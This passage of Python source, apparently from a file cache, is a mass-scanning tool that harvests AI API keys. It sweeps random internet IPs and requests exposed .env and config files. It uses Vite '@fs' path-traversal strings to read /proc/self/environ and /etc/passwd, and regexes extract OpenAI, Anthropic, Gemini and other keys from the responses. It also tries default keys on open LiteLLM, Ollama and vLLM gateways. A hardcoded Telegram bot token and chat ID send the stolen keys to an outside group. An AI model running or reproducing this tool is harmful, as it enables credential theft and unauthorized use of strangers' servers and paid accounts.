total_keys_found += 1\n print(f\" [*] NEW WORKING KEY: {vk['key_type']} from {vk['ip']}\")\n\n print(f' Valid keys this cycle: {len(valid_keys)}/{len(keys)}')\n print(f' Total keys found: {total_keys_found}')\n\n # ── Phase 2: LLM Gateway Scan ──\n if not args.niansuh_only:\n # For gate detection, also use targets but on various ports\n gate_targets = [\n {'ip': t['ip'], 'port': 4000}\n for t in targets[:500] # Subset for gates\n ]\n # Add some port 3000 targets too\n gate_targets += [\n {'ip': t['ip'], 'port': 3000}\n for t in targets[:200]\n ]\n\n gates = await run_gate_detection(gate_targets, concurrent=AUTH_CONCURRENT)\n for g in gates:\n save_found_gate(g)\n await report_gate(g)\n total_gates_found += 1\n print(f\" [*] NEW WORKING GATE: {g['framework']} at {g['ip']}:{g['port']} key={g['working_key']}\")\n\n print(f' Gates this cycle: {len(gates)}')\n print(f' Total gates found: {total_gates_found}')\n\n except Exception as e:\n print(f'\\n [ERROR] Cycle {cycle} failed: {e}')\n import traceback\n traceback.print_exc()\n\n cycle_time = time.time() - cycle_start\n print(f'\\n Cycle {cycle} done in {cycle_time:.1f}s')\n print(f' Sleeping {CYCLE_SLEEP}s before next cycle...')\n\n # Save state\n state = {\n 'cycle': cycle,\n 'total_keys': total_keys_found,\n 'total_gates': total_gates_found,\n 'last_run': datetime.now().isoformat(),\n }\n json.dump(state, open(STATE_FILE, 'w'), indent=2)\n\n await asyncio.sleep(CYCLE_SLEEP)\n\n\n# ═══════════════════════════════════════════════════════════════\n# MAIN\n# ═══════════════════════════════════════════════════════════════\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='Infinite LLM Gateway + Key Scanner')\n parser.add_argument('--test', action='store_true', help='Test mode (1 cycle only)')\n parser.add_argument('--niansuh-only', action='store_true', help='Only scan config files')\n parser.add_argument('--gate-only', action='store_true', help='Only test LLM gateways')\n parser.add_argument('--batch-size', type=int, default=3000, help='IPs per cycle')\n parser.add_argument('--zmap', action='store_true', help='Use ZMap to scan for open ports')\n parser.add_argument('--zmap-ports', type=str, default='3000,4000,8000',\n help='Comma-separated ports for ZMap scan (default: 3000,4000,8000)')\n parser.add_argument('--zmap-bandwidth', type=str, default='10M',\n help='ZMap bandwidth limit (default: 10M)')\n args = parser.parse_args()\n\n IPS_PER_BATCH = args.batch_size\n\n # Check ZMap availability if --zmap flag used\n if args.zmap:\n if not is_zmap_available():\n print('[ERROR] ZMap not found! Install from: https://github.com/zmap/zmap')\n print(' Ubuntu/Debian: sudo apt install zmap')\n print(' macOS: brew install zmap')\n print(' From source: git clone https://github.com/zmap/zmap.git')\n sys.exit(1)\n print(f'[ZMAP] Enabled - will scan ports: {args.zmap_ports}')\n\n if args.test:\n # Run one cycle only\n print('[TEST MODE] Running single cycle...')\n asyncio.run(infinite_loop(args))\n else:\n # Infinite loop\n print('[INFINITE MODE] Starting infinite loop (Ctrl+C to stop)...')\n try:\n asyncio.run(infinite_loop(args))\n except KeyboardInterrupt:\n print('\\n\\n[STOPPED] Scanner stopped by user.')\n print(f'State saved to: {STATE_FILE}')\n sys.exit(0)"}, "af2422748e5d982a363149e66dc52f9bce4bfedf": {"t": 1785773492.591716, "n": 44647, "h": "3d87c14ab37c4f4e", "c": "#!/usr/bin/env python3\nr'''\nINFINITE LLM GATEWAY + KEY SCANNER\n==================================\nLong-running scanner for VM deployment.\nFeatures:\n 1. IP Generator - builds target list from port_4000.json + random IP generation\n 2. Niansuh Config Scanner - port 3000 config file key extraction\n 3. LLM Gateway Tester - tests LiteLLM (sk-1234), Ollama, vLLM, etc.\n 4. API Key Validator - verifies extracted keys against real provider APIs\n 5. Telegram Reporter - sends ONLY working keys to group\n\nTelegram:\n Bot: 8698804293:AAGO2c3O7tIqNmGS5Nkkc2RB2-0EVBoLfEs\n Group: -1003732431449\n\nUsage:\n python infinite_scanner.py # Full infinite run\n python infinite_scanner.py --test # Test mode (small sample)\n python infinite_scanner.py --niansuh-only # Only scan config files\n python infinite_scanner.py --gate-only # Only test LLM gateways\n'''\n\nimport asyncio\nimport aiohttp\nimport json\nimport os\nimport re\nimport sys\nimport time\nimport random\nimport argparse\nimport ipaddress\nfrom datetime import datetime\nfrom pathlib import Path\nfrom collections import defaultdict, Counter\n\n# ═══════════════════════════════════════════════════════════════\n# CONFIG\n# ═══════════════════════════════════════════════════════════════\n\nBASE_DIR = Path(__file__).parent.resolve()\nOUTPUT_DIR = BASE_DIR / 'scan_output'\nOUTPUT_DIR.mkdir(exist_ok=True)\n\nSTATE_FILE = OUTPUT_DIR / 'scan_state.json'\nSEEN_KEYS_FILE = OUTPUT_DIR / 'seen_keys.json'\nSEEN_IPS_FILE = OUTPUT_DIR / 'seen_ips.json'\nFOUND_KEYS_FILE = OUTPUT_DIR / 'found_working_keys.json'\nFOUND_GATES_FILE = OUTPUT_DIR / 'found_working_gates.json'\nSCAN_LOG = OUTPUT_DIR / 'scan_log.jsonl'\n\n# Telegram config\nTELEGRAM_BOT_TOKEN = '8698804293:AAGO2c3O7tIqNmGS5Nkkc2RB2-0EVBoLfEs'\nTELEGRAM_CHAT_ID = '-1003732431449'\n\n# Concurrency\nSCAN_CONCURRENT = 150\nAUTH_CONCURRENT = 100\nCHAT_CONCURRENT = 60\n\n# Timeouts\nSCAN_TIMEOUT = aiohttp.ClientTimeout(total=8, connect=3)\nAUTH_TIMEOUT = aiohttp.ClientTimeout(total=8, connect=3)\nCHAT_TIMEOUT = aiohttp.ClientTimeout(total=25, connect=5)\nKEY_VALIDATE_TIMEOUT = aiohttp.ClientTimeout(total=30, connect=5)\n\n# Cycle sleep (seconds between IP batch scans)\nCYCLE_SLEEP = 60\n\n# Batch sizes\nIPS_PER_BATCH = 3000\nNIANSUH_PATHS_PER_TARGET = 18\n\n# ═══════════════════════════════════════════════════════════════\n# TELEGRAM\n# ═══════════════════════════════════════════════════════════════\n\nasync def send_telegram(message: str, bot_token: str = TELEGRAM_BOT_TOKEN,\n chat_id: str = TELEGRAM_CHAT_ID) -> bool:\n url = f'https://api.telegram.org/bot{bot_token}/sendMessage'\n payload = {'chat_id': chat_id, 'text': message, 'parse_mode': 'HTML'}\n try:\n async with aiohttp.ClientSession() as sess:\n async with sess.post(url, json=payload, timeout=aiohttp.ClientTimeout(total=10)) as resp:\n return resp.status == 200\n except Exception as e:\n print(f' [TG ERROR] {e}')\n return False\n\n\ndef format_key_message(provider: str, key_value: str, source_url: str,\n models: list, key_type: str = 'api_key') -> str:\n '''Format a key find message exactly like Niansuh's format.'''\n model_list = '\\n'.join(f'{m}' for m in models[:20])\n extra = f'... +{len(models)-20} more' if len(models) > 20 else ''\n return f'''🔑 KEY FOUND — {provider}\n━━━━━━━━━━━━━━━━━━━━━━\n🏷 Provider: {provider}\n🔐 Key: {key_value}\n🌐 Source: {source_url}\n🤖 Models ({len(models)}):\n{model_list}{extra}\n━━━━━━━━━━━━━━━━━━━━━━'''\n\n\ndef format_gate_message(ip: str, port: int, framework: str, working_key: str,\n models: list, source: str = '') -> str:\n model_list = '\\n'.join(f'{m}' for m in models[:20])\n extra = f'... +{len(models)-20} more' if len(models) > 20 else ''\n key_display = working_key if working_key else '(no-auth)'\n return f'''🅰️ LLM GATE FOUND — {framework}\n━━━━━━━━━━━━━━━━━━━━━━\n🌐 Endpoint: http://{ip}:{port}\n🔑 Key: {key_display}\n🏷 Framework: {framework}\n🤖 Models ({len(models)}):\n{model_list}{extra}\n━━━━━━━━━━━━━━━━━━━━━━'''\n\n\n# ═══════════════════════════════════════════════════════════════\n# IP GENERATOR\n# ═══════════════════════════════════════════════════════════════\n\n# Cloud provider IP ranges for targeted scanning\nCLOUD_RANGES = [\n # AWS\n ('3.0.0.0', '3.255.255.255'),\n ('18.0.0.0', '18.255.255.255'),\n ('52.0.0.0', '52.255.255.255'),\n ('54.0.0.0', '54.255.255.255'),\n ('35.0.0.0', '35.255.255.255'),\n ('44.0.0.0', '44.255.255.255'),\n ('52.0.0.0', '52.255.255.255'),\n ('54.0.0.0', '54.255.255.255'),\n # Azure\n ('13.64.0.0', '13.255.255.255'),\n ('20.0.0.0', '20.255.255.255'),\n ('40.0.0.0', '40.127.255.255'),\n ('52.0.0.0', '52.255.255.255'),\n ('104.0.0.0', '104.255.255.255'),\n ('108.0.0.0', '108.255.255.255'),\n # Google Cloud\n ('34.0.0.0', '34.255.255.255'),\n ('35.0.0.0', '35.255.255.255'),\n ('104.0.0.0', '104.255.255.255'),\n ('142.0.0.0', '142.255.255.255'),\n # DigitalOcean\n ('64.0.0.0', '64.255.255.255'),\n ('128.0.0.0', '128.255.255.255'),\n ('138.0.0.0', '138.255.255.255'),\n ('159.0.0.0', '159.255.255.255'),\n ('165.0.0.0', '165.255.255.255'),\n ('167.0.0.0', '167.255.255.255'),\n ('170.0.0.0', '170.255.255.255'),\n ('188.0.0.0', '188.255.255.255'),\n ('192.0.0.0', '192.255.255.255'),\n ('193.0.0.0', '193.255.255.255'),\n ('194.0.0.0', '194.255.255.255'),\n ('195.0.0.0', '195.255.255.255'),\n # Hetzner\n ('5.0.0.0', '5.255.255.255'),\n ('6.0.0.0', '6.255.255.255'),\n ('7.0.0.0', '7.255.255.255'),\n ('9.0.0.0', '9.255.255.255'),\n ('10.0.0.0', '10.255.255.255'),\n # OVH\n ('51.0.0.0', '51.255.255.255'),\n ('57.0.0.0', '57.255.255.255'),\n ('87.0.0.0', '87.255.255.255'),\n ('91.0.0.0', '91.255.255.255'),\n ('92.0.0.0', '92.255.255.255'),\n ('93.0.0.0', '93.255.255.255'),\n ('94.0.0.0', '94.255.255.255'),\n ('95.0.0.0', '95.255.255.255'),\n ('141.0.0.0', '141.255.255.255'),\n ('147.0.0.0', '147.255.255.255'),\n # Other popular\n ('45.0.0.0', '45.255.255.255'),\n ('46.0.0.0', '46.255.255.255'),\n ('47.0.0.0', '47.255.255.255'),\n ('62.0.0.0', '62.255.255.255'),\n ('65.0.0.0', '65.255.255.255'),\n ('66.0.0.0', '66.255.255.255'),\n ('72.0.0.0', '72.255.255.255'),\n ('74.0.0.0', '74.255.255.255'),\n ('75.0.0.0', '75.255.255.255'),\n ('76.0.0.0', '76.255.255.255'),\n ('77.0.0.0', '77.255.255.255'),\n ('78.0.0.0', '78.255.255.255'),\n ('79.0.0.0', '79.255.255.255'),\n ('80.0.0.0', '80.255.255.255'),\n ('81.0.0.0', '81.255.255.255'),\n ('82.0.0.0', '82.255.255.255'),\n ('83.0.0.0', '83.255.255.255'),\n ('84.0.0.0', '84.255.255.255'),\n ('85.0.0.0', '85.255.255.255'),\n ('86.0.0.0', '86.255.255.255'),\n ('89.0.0.0', '89.255.255.255'),\n ('103.0.0.0', '103.255.255.255'),\n ('107.0.0.0', '107.255.255.255'),\n ('113.0.0.0', '113.255.255.255'),\n ('114.0.0.0', '114.255.255.255'),\n ('115.0.0.0', '115.255.255.255'),\n ('116.0.0.0', '116.255.255.255'),\n ('120.0.0.0', '120.255.255.255'),\n ('121.0.0.0', '121.255.255.255'),\n ('122.0.0.0', '122.255.255.255'),\n ('123.0.0.0', '123.255.255.255'),\n ('129.0.0.0', '129.255.255.255'),\n ('130.0.0.0', '130.255.255.255'),\n ('132.0.0.0', '132.255.255.255'),\n ('134.0.0.0', '134.255.255.255'),\n ('136.0.0.0', '136.255.255.255'),\n ('144.0.0.0', '144.255.255.255'),\n ('152.0.0.0', '152.255.255.255'),\n ('157.0.0.0', '157.255.255.255'),\n ('158.0.0.0', '158.255.255.255'),\n ('160.0.0.0', '160.255.255.255'),\n ('161.0.0.0', '161.255.255.255'),\n ('164.0.0.0', '164.255.255.255'),\n ('169.0.0.0', '169.255.255.255'),\n ('170.0.0.0', '170.255.255.255'),\n ('171.0.0.0', '171.255.255.255'),\n ('172.0.0.0', '172.31.255.255'),\n ('176.0.0.0', '176.255.255.255'),\n ('178.0.0.0', '178.255.255.255'),\n ('179.0.0.0', '179.255.255.255'),\n ('180.0.0.0', '180.255.255.255'),\n ('181.0.0.0', '181.255.255.255'),\n ('182.0.0.0', '182.255.255.255'),\n ('183.0.0.0', '183.255.255.255'),\n ('185.0.0.0', '185.255.255.255'),\n ('188.0.0.0', '188.255.255.255'),\n ('193.0.0.0', '193.255.255.255'),\n ('194.0.0.0', '194.255.255.255'),\n ('195.0.0.0', '195.255.255.255'),\n ('196.0.0.0', '196.255.255.255'),\n ('197.0.0.0', '197.255.255.255'),\n ('198.0.0.0', '198.255.255.255'),\n ('199.0.0.0', '199.255.255.255'),\n ('200.0.0.0', '200.255.255.255'),\n ('201.0.0.0', '201.255.255.255'),\n ('202.0.0.0', '202.255.255.255'),\n ('203.0.0.0', '203.255.255.255'),\n ('204.0.0.0', '204.255.255.255'),\n ('205.0.0.0', '205.255.255.255'),\n ('206.0.0.0', '206.255.255.255'),\n ('207.0.0.0', '207.255.255.255'),\n ('208.0.0.0', '208.255.255.255'),\n ('209.0.0.0', '209.255.255.255'),\n ('211.0.0.0', '211.255.255.255'),\n ('212.0.0.0', '212.255.255.255'),\n ('213.0.0.0', '213.255.255.255'),\n ('214.0.0.0', '214.255.255.255'),\n ('215.0.0.0', '215.255.255.255'),\n ('216.0.0.0', '216.255.255.255'),\n ('217.0.0.0', '217.255.255.255'),\n ('218.0.0.0', '218.255.255.255'),\n ('219.0.0.0', '219.255.255.255'),\n ('220.0.0.0', '220.255.255.255'),\n ('221.0.0.0', '221.255.255.255'),\n ('222.0.0.0', '222.255.255.255'),\n ('223.0.0.0', '223.255.255.255'),\n]\n\n# Common /24 blocks for port 3000 (dev servers, web frameworks)\nDEV_SERVER_SUBNETS = [\n # Web dev ranges\n '3.0.0.0/8', '18.0.0.0/8', '52.0.0.0/8', '54.0.0.0/8',\n '35.0.0.0/8', '13.0.0.0/8', '20.0.0.0/8', '40.0.0.0/8',\n '104.0.0.0/8', '34.0.0.0/8', '142.0.0.0/8',\n '64.0.0.0/8', '128.0.0.0/8', '138.0.0.0/8', '159.0.0.0/8',\n '165.0.0.0/8', '167.0.0.0/8', '170.0.0.0/8',\n '5.0.0.0/8', '6.0.0.0/8', '7.0.0.0/8', '9.0.0.0/8',\n '51.0.0.0/8', '57.0.0.0/8', '87.0.0.0/8', '91.0.0.0/8',\n '92.0.0.0/8', '93.0.0.0/8', '94.0.0.0/8', '95.0.0.0/8',\n '141.0.0.0/8', '147.0.0.0/8',\n '45.0.0.0/8', '46.0.0.0/8', '47.0.0.0/8',\n '62.0.0.0/8', '65.0.0.0/8', '66.0.0.0/8',\n '72.0.0.0/8', '74.0.0.0/8', '75.0.0.0/8', '76.0.0.0/8',\n '77.0.0.0/8', '78.0.0.0/8', '79.0.0.0/8', '80.0.0.0/8',\n '81.0.0.0/8', '82.0.0.0/8', '83.0.0.0/8', '84.0.0.0/8',\n '85.0.0.0/8', '86.0.0.0/8', '89.0.0.0/8',\n '103.0.0.0/8', '107.0.0.0/8', '113.0.0.0/8',\n '114.0.0.0/8', '115.0.0.0/8', '116.0.0.0/8',\n '120.0.0.0/8', '121.0.0.0/8', '122.0.0.0/8', '123.0.0.0/8',\n '129.0.0.0/8', '130.0.0.0/8', '132.0.0.0/8', '134.0.0.0/8',\n '136.0.0.0/8', '144.0.0.0/8', '152.0.0.0/8',\n '157.0.0.0/8', '158.0.0.0/8', '160.0.0.0/8', '161.0.0.0/8',\n '164.0.0.0/8', '169.0.0.0/8', '171.0.0.0/8',\n '176.0.0.0/8', '178.0.0.0/8', '179.0.0.0/8',\n '180.0.0.0/8', '181.0.0.0/8', '182.0.0.0/8', '183.0.0.0/8',\n '185.0.0.0/8', '188.0.0.0/8', '193.0.0.0/8', '194.0.0.0/8',\n '195.0.0.0/8', '196.0.0.0/8', '197.0.0.0/8',\n '198.0.0.0/8', '199.0.0.0/8', '200.0.0.0/8', '201.0.0.0/8',\n '202.0.0.0/8', '203.0.0.0/8', '204.0.0.0/8', '205.0.0.0/8',\n '206.0.0.0/8', '207.0.0.0/8', '208.0.0.0/8', '209.0.0.0/8',\n '211.0.0.0/8', '212.0.0.0/8', '213.0.0.0/8', '214.0.0.0/8',\n '215.0.0.0/8', '216.0.0.0/8', '217.0.0.0/8', '218.0.0.0/8',\n '219.0.0.0/8', '220.0.0.0/8', '221.0.0.0/8', '222.0.0.0/8',\n '223.0.0.0/8',\n]\n\n# ═══════════════════════════════════════════════════════════════\n# ZMAP INTEGRATION\n# ═══════════════════════════════════════════════════════════════\n\nimport subprocess\n\nZMAP_CACHE_DIR = OUTPUT_DIR / 'zmap_cache'\nZMAP_CACHE_DIR.mkdir(exist_ok=True)\n\ndef is_zmap_available() -> bool:\n \"\"\"Check if ZMap is installed and accessible.\"\"\"\n try:\n result = subprocess.run(['zmap', '--version'], \n capture_output=True, text=True, timeout=5)\n return result.returncode == 0\n except (FileNotFoundError, subprocess.TimeoutExpired):\n return False\n\n\ndef run_zmap_scan(port: int, \n output_file: str = None,\n bandwidth: str = '10M',\n probe_rate: int = 1000,\n max_probes: int = None,\n blacklist_file: str = None,\n timeout: int = 300) -> list:\n \"\"\"\n Run ZMap port scan and return list of IPs with open port.\n \n Args:\n port: Port to scan (e.g., 3000, 4000, 8000)\n output_file: Optional file to save raw ZMap output\n bandwidth: Rate limit (e.g., '10M', '50M', '100M')\n probe_rate: Packets per second (default 1000)\n max_probes: Maximum probes to send (None = unlimited)\n blacklist_file: Path to blacklist file (IPs/ranges to skip)\n timeout: Max seconds to wait for scan\n \n Returns:\n List of IPs with open port\n \"\"\"\n if not is_zmap_available():\n print(f' [ZMAP] ZMap not found - skipping port {port}')\n return []\n \n # Generate output file path if not provided\n if output_file is None:\n ts = datetime.now().strftime('%Y%m%d_%H%M%S')\n output_file = str(ZMAP_CACHE_DIR / f'zmap_port{port}_{ts}.txt')\n \n # Build ZMap command\n cmd = [\n 'zmap',\n '-p', str(port),\n '-o', output_file,\n '-B', bandwidth,\n '-r', str(probe_rate),\n '-q', # Quiet mode\n ]\n \n # Add max probes if specified\n if max_probes:\n cmd.extend(['-n', str(max_probes)])\n \n # Add blacklist if specified\n if blacklist_file and os.path.exists(blacklist_file):\n cmd.extend(['--blacklist-file', blacklist_file])\n \n print(f' [ZMAP] Scanning port {port} at {bandwidth} bandwidth...')\n print(f' [ZMAP] Command: {\" \".join(cmd)}')\n \n try:\n result = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)\n if result.returncode != 0:\n print(f' [ZMAP] Scan failed: {result.stderr}')\n return []\n \n # Parse output file (one IP per line)\n ips = []\n if os.path.exists(output_file):\n with open(output_file) as f:\n for line in f:\n ip = line.strip()\n if ip and not ip.startswith('#'):\n ips.append(ip)\n \n print(f' [ZMAP] Found {len(ips)} IPs with port {port} open')\n return ips\n \n except subprocess.TimeoutExpired:\n print(f' [ZMAP] Scan timed out after {timeout}s')\n return []\n except Exception as e:\n print(f' [ZMAP] Error: {e}')\n return []\n\n\ndef scan_ports_with_zmap(ports: list = None, \n batch_size: int = 10000,\n bandwidth: str = '10M') -> dict:\n \"\"\"\n Scan multiple ports using ZMap and return IPs grouped by port.\n \n Args:\n ports: List of ports to scan (default: [3000, 4000, 8000])\n batch_size: Max IPs to collect per port\n bandwidth: ZMap bandwidth limit\n \n Returns:\n Dict mapping port -> list of IPs\n \"\"\"\n if ports is None:\n ports = [3000, 4000, 8000]\n \n if not is_zmap_available():\n print(f' [ZMAP] ZMap not installed - install from: https://github.com/zmap/zmap')\n return {port: [] for port in ports}\n \n results = {}\n for port in ports:\n print(f'\\n [ZMAP] === Scanning port {port} ===')\n ips = run_zmap_scan(\n port=port,\n bandwidth=bandwidth,\n probe_rate=1000,\n timeout=600 # 10 min timeout per port\n )\n # Limit to batch_size\n results[port] = ips[:batch_size]\n print(f' [ZMAP] Collected {len(results[port])}/{len(ips)} IPs for port {port}')\n \n return results\n\n\ndef load_zmap_results_from_file(port: int) -> list:\n \"\"\"Load cached ZMap results for a port from previous scans.\"\"\"\n cache_dir = ZMAP_CACHE_DIR\n if not cache_dir.exists():\n return []\n \n all_ips = []\n for f in cache_dir.glob(f'zmap_port{port}_*.txt'):\n try:\n with open(f) as fp:\n for line in fp:\n ip = line.strip()\n if ip and not ip.startswith('#'):\n all_ips.append(ip)\n except:\n pass\n \n return list(set(all_ips))\n\n\ndef zmap_to_targets(zmap_results: dict) -> list:\n \"\"\"\n Convert ZMap results to target format used by scanner.\n \n Args:\n zmap_results: Dict mapping port -> list of IPs\n \n Returns:\n List of target dicts with ip, port, source\n \"\"\"\n targets = []\n seen = load_seen_ips()\n \n for port, ips in zmap_results.items():\n for ip in ips:\n key = f'{ip}:{port}'\n if key not in seen:\n targets.append({\n 'ip': ip,\n 'port': port,\n 'source': 'zmap',\n 'subnet': f'{ip.rsplit(\".\", 1)[0]}.0/24',\n })\n seen.add(key)\n \n save_seen_ips(seen)\n return targets\n\n\n# /24 blocks to scan (subnets within larger ranges)\ndef generate_ip_batch(count: int = 3000) -> list:\n '''Generate random IPs for port 3000 scanning.'''\n targets = []\n seen = load_seen_ips()\n count_per_subnet = max(50, count // len(DEV_SERVER_SUBNETS))\n\n for subnet in DEV_SERVER_SUBNETS:\n try:\n net = ipaddress.ip_network(subnet, strict=False)\n # Get 256 IPs from random positions in this /24\n all_hosts = list(net.hosts())\n if len(all_hosts) >= count_per_subnet:\n random.shuffle(all_hosts)\n batch = all_hosts[:count_per_subnet]\n else:\n batch = all_hosts\n for ip in batch:\n ip_str = str(ip)\n key = f'{ip_str}:3000'\n if key not in seen:\n targets.append({\n 'ip': ip_str,\n 'port': 3000,\n 'source': 'generated',\n 'subnet': subnet,\n })\n seen.add(key)\n except Exception:\n pass\n if len(targets) >= count:\n break\n\n save_seen_ips(seen)\n return targets[:count]\n\n\n# ═══════════════════════════════════════════════════════════════\n# STATE MANAGEMENT\n# ═══════════════════════════════════════════════════════════════\n\ndef load_seen_ips() -> set:\n if Path(SEEN_IPS_FILE).exists():\n try:\n return set(json.load(open(SEEN_IPS_FILE)))\n except:\n return set()\n return set()\n\n\ndef save_seen_ips(seen: set):\n json.dump(list(seen), open(SEEN_IPS_FILE, 'w'))\n\n\ndef load_seen_keys() -> set:\n if Path(SEEN_KEYS_FILE).exists():\n try:\n return set(json.load(open(SEEN_KEYS_FILE)))\n except:\n return set()\n return set()\n\n\ndef save_seen_keys(seen: set):\n json.dump(list(seen), open(SEEN_KEYS_FILE, 'w'))\n\n\ndef load_found_keys() -> list:\n if Path(FOUND_KEYS_FILE).exists():\n try:\n return json.load(open(FOUND_KEYS_FILE))\n except:\n return []\n return []\n\n\ndef save_found_key(entry: dict):\n keys = load_found_keys()\n keys.append(entry)\n json.dump(keys, open(FOUND_KEYS_FILE, 'w'), indent=2)\n\n\ndef load_found_gates() -> list:\n if Path(FOUND_GATES_FILE).exists():\n try:\n return json.load(open(FOUND_GATES_FILE))\n except:\n return []\n return []\n\n\ndef save_found_gate(entry: dict):\n gates = load_found_gates()\n gates.append(entry)\n json.dump(gates, open(FOUND_GATES_FILE, 'w'), indent=2)\n\n\ndef append_log(entry: dict):\n with open(SCAN_LOG, 'a') as f:\n f.write(json.dumps(entry, default=str) + '\\n')\n\n\n# ═══════════════════════════════════════════════════════════════\n# NIANSUH CONFIG FILE PATHS\n# ═══════════════════════════════════════════════════════════════\n\nNIANSUH_PATHS = [\n '/.env',\n '/.env.local',\n '/.env.production',\n '/.env.development',\n '/server.js',\n '/config.js',\n '/app.config.js',\n '/next.config.js',\n '/api/config',\n '/api/settings',\n '/ecosystem.config.js',\n '/package.json',\n '/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ?raw??',\n '/@fs/..%2f..%2f..%2f..%2f..%2fetc%2fpasswd?raw??',\n '/src/config.js',\n '/src/server.js',\n '/lib/config.js',\n '/lib/server.js',\n '/config.json',\n '/settings.json',\n '/app.js',\n '/data/config.json',\n '/api/v1/config',\n '/api/v1/settings',\n '/config/env.js',\n '/.npmrc',\n '/.yarnrc',\n '/tsconfig.json',\n '/vite.config.ts',\n '/vite.config.js',\n '/webpack.config.js',\n]\n\n\n# ═══════════════════════════════════════════════════════════════\n# KEY EXTRACTION REGEX\n# ═══════════════════════════════════════════════════════════════\n\nKEY_PATTERNS = [\n (r'sk-or-v1-[a-zA-Z0-9]{64}', 'OpenRouter'),\n (r'sk-ant-api03-[a-zA-Z0-9_\\\\-]{95,}', 'Anthropic'),\n (r'sk-proj-[a-zA-Z0-9_\\\\-]{80,}', 'OpenAI'),\n (r'sk-svcacct-[a-zA-Z0-9_\\\\-]{80,}', 'OpenAI'),\n (r'sk-[a-f0-9]{32}', 'DeepSeek'),\n (r'sk-[a-zA-Z0-9]{48,}', 'OpenAI_Legacy'),\n (r'sk-[a-zA-Z0-9]{20,47}', 'Generic_OpenAI'),\n (r'AIzaSy[a-zA-Z0-9_\\\"]{33}', 'Gemini'),\n (r'hf_[a-zA-Z0-9]{34}', 'HuggingFace'),\n (r'xai-[a-zA-Z0-9]{20,}', 'xAI'),\n (r'gsk_[a-zA-Z0-9]{20,}', 'Groq'),\n (r'OPENAI_API_KEY[=:]\\\\s*([a-zA-Z0-9_\\\"]{20,})', 'OpenAI_env'),\n (r'ANTHROPIC_API_KEY[=:]\\\\s*([a-zA-Z0-9_\\\"]{20,})', 'Anthropic_env'),\n (r'GEMINI_API_KEY[=:]\\\\s*([a-zA-Z0-9_\\\"]{20,})', 'Gemini_env'),\n (r'DEEPSEEK_API_KEY[=:]\\\\s*([a-zA-Z0-9_\\\"]{20,})', 'DeepSeek_env'),\n (r'LITELLM_MASTER_KEY[=:]\\\\s*([a-zA-Z0-9_\\\"]{8,})', 'LiteLLM'),\n (r'api[_-]?key[=:]\\\\s*([a-zA-Z0-9_\\\"]{20,})', 'Generic_API'),\n]\n\nFAKE_KEYS = {\n 'sk-1234', 'sk-1234567890', 'sk-', 'sk-your', 'sk-xxx',\n 'sk-key', 'sk-test', 'sk-demo', 'sk-example',\n}\n\n\ndef is_fake_key(k: str) -> bool:\n if not k or len(k) < 8:\n return True\n k_lower = k.lower().strip()\n for fake in FAKE_KEYS:\n if k_lower == fake or k_lower.startswith(fake):\n return True\n return False\n\n\ndef extract_keys(text: str) -> list:\n found = []\n seen = set()\n for pattern, key_type in KEY_PATTERNS:\n for m in re.finditer(pattern, text, re.IGNORECASE):\n val = m.group(1) if m.lastindex else m.group(0)\n val = val.strip().strip('\"').strip(\"'\")\n if is_fake_key(val) or val in seen:\n continue\n seen.add(val)\n found.append({'type': key_type, 'value': val, 'source': m.group(0)[:80]})\n return found\n\n\n# ═══════════════════════════════════════════════════════════════\n# LLM GATEWAY CONFIGS\n# ═══════════════════════════════════════════════════════════════\n\nLITE_LLM_KEYS = ['', 'sk-1234', 'sk-1234567890', 'sk-111111111111111111111111111111111111111111111111']\nOLLAMA_KEYS = ['', 'ollama', 'sk-ollama']\nVLLM_KEYS = ['', 'EMPTY']\nLOCALAI_KEYS = ['', 'localai', 'sk-localai']\n\nGATE_CONFIGS = {\n 'LiteLLM': {\n 'ports': [4000, 4001, 8000],\n 'models_path': '/v1/models',\n 'chat_path': '/v1/chat/completions',\n 'keys': LITE_LLM_KEYS,\n 'model_field': 'data[].id',\n },\n 'Ollama': {\n 'ports': [11434, 3000],\n 'models_path': '/api/tags',\n 'chat_path': '/api/generate',\n 'alt_chat_path': '/v1/chat/completions',\n 'keys': OLLAMA_KEYS,\n 'model_field': 'models[].name',\n },\n 'vLLM': {\n 'ports': [8000, 8001, 8080],\n 'models_path': '/v1/models',\n 'chat_path': '/v1/chat/completions',\n 'keys': VLLM_KEYS,\n 'model_field': 'data[].id',\n },\n 'LocalAI': {\n 'ports': [8080, 9000, 8000],\n 'models_path': '/v1/models',\n 'chat_path': '/v1/chat/completions',\n 'keys': LOCALAI_KEYS,\n 'model_field': 'data[].id',\n },\n 'OpenWebUI': {\n 'ports': [3000, 8080],\n 'models_path': '/api/models',\n 'chat_path': '/api/chat/completions',\n 'keys': [''],\n 'model_field': 'data[].id',\n },\n 'Generic': {\n 'ports': [3000, 4000, 8000, 8080, 9000, 11434, 80],\n 'models_path': '/v1/models',\n 'chat_path': '/v1/chat/completions',\n 'keys': LITE_LLM_KEYS,\n 'model_field': 'data[].id',\n },\n}\n\n\ndef parse_models(data, field_path):\n models = []\n if not data:\n return models\n if field_path == 'models[].name' and isinstance(data, dict):\n for item in data.get('models', []):\n if isinstance(item, dict):\n n = item.get('name') or item.get('id', '')\n if n:\n models.append(str(n))\n elif field_path == 'data[].id':\n for item in data.get('data', []):\n if isinstance(item, dict):\n n = item.get('id') or item.get('name', '')\n if n:\n models.append(str(n))\n if not models:\n for key in ['data', 'models', 'result']:\n arr = data.get(key, [])\n if isinstance(arr, list):\n for item in arr:\n if isinstance(item, dict):\n n = item.get('id') or item.get('name', '')\n if n:\n models.append(str(n))\n return models[:100]\n\n\n# ═══════════════════════════════════════════════════════════════\n# PHASE 1: SCAN PORT 3000 (NIANSUH CONFIG FILES)\n# ═══════════════════════════════════════════════════════════════\n\nasync def scan_niansuh_target(session, ip, port, sem):\n '''Scan one IP on all Niansuh config paths. Returns list of found key entries.'''\n base = f'http://{ip}:{port}'\n results = []\n\n async with sem:\n for path in NIANSUH_PATHS:\n try:\n url = base + path\n async with session.get(url, ssl=False, timeout=SCAN_TIMEOUT) as resp:\n if resp.status != 200:\n continue\n text = await resp.text(errors='replace')\n if len(text) < 20:\n continue\n keys = extract_keys(text)\n for k in keys:\n results.append({\n 'ip': ip,\n 'port': port,\n 'source_path': path,\n 'source_url': url,\n 'key_type': k['type'],\n 'key_value': k['value'],\n 'ts': datetime.now().isoformat(),\n })\n if keys:\n break # Found on this path, move to next IP\n except Exception:\n pass\n\n return results\n\n\nasync def run_niansuh_scan(targets: list, concurrent: int = 150) -> list:\n 